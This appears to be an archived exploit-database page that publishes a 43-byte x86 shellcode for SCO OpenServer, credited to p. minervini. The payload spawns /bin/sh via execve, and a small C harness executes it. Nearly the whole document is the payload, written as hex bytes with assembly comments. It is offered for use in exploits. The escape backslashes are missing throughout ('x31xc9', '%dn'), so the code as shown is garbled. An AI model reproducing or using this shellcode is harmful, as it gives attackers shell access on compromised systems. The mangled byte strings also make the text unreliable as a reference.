[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : sco/x86 execve("/bin/sh", ..., NULL); 43 bytes
# Published : 2005-11-30
# Author : p. minervini
# Previous Title : netbsd/x86 setreuid(0, 0); execve("/bin//sh", ..., NULL); 29 bytes
# Next Title : solaris/sparc setreuid/execve 56 bytes


/*
 *  minervini at neuralnoise dot com (c) 2005
 *  SCO_SV scosysv 3.2 5.0.7 i386, execve("/bin/sh", ..., NULL);
 */

#include <sys/types.h>
#include <stdio.h>

char *scode = 
  "x31xc9"             // xor    %ecx,%ecx
  "x89xe3"             // mov    %esp,%ebx
  "x68xd0x8cx97xff" // push   $0xff978cd0
  "x68xd0x9dx96x91" // push   $0x91969dd0
  "x89xe2"             // mov    %esp,%edx
  "x68xffxf8xffx6f" // push   $0x6ffff8ff
  "x68x9axffxffxff" // push   $0xffffff9a
  "x80xf1x10"         // xor    $0x10,%cl
  "xf6x13"             // notb   (%ebx)
  "x4b"                 // dec    %ebx
  "xe2xfb"             // loop   $-3
  "x91"                 // xchg   %eax,%ecx
  "x50"                 // push   %eax
  "x54"                 // push   %esp
  "x52"                 // push   %edx
  "x50"                 // push   %eax
  "x34x3b"             // xor    $0x3b,%al
  "xffxe3";            // jmp    *%ebx

int main () {
   void (*code) () = (void *) scode;
   printf("length: %dn", strlen(scode));
   code();
   return (0);
}

// www.Syue.com [2005-11-30]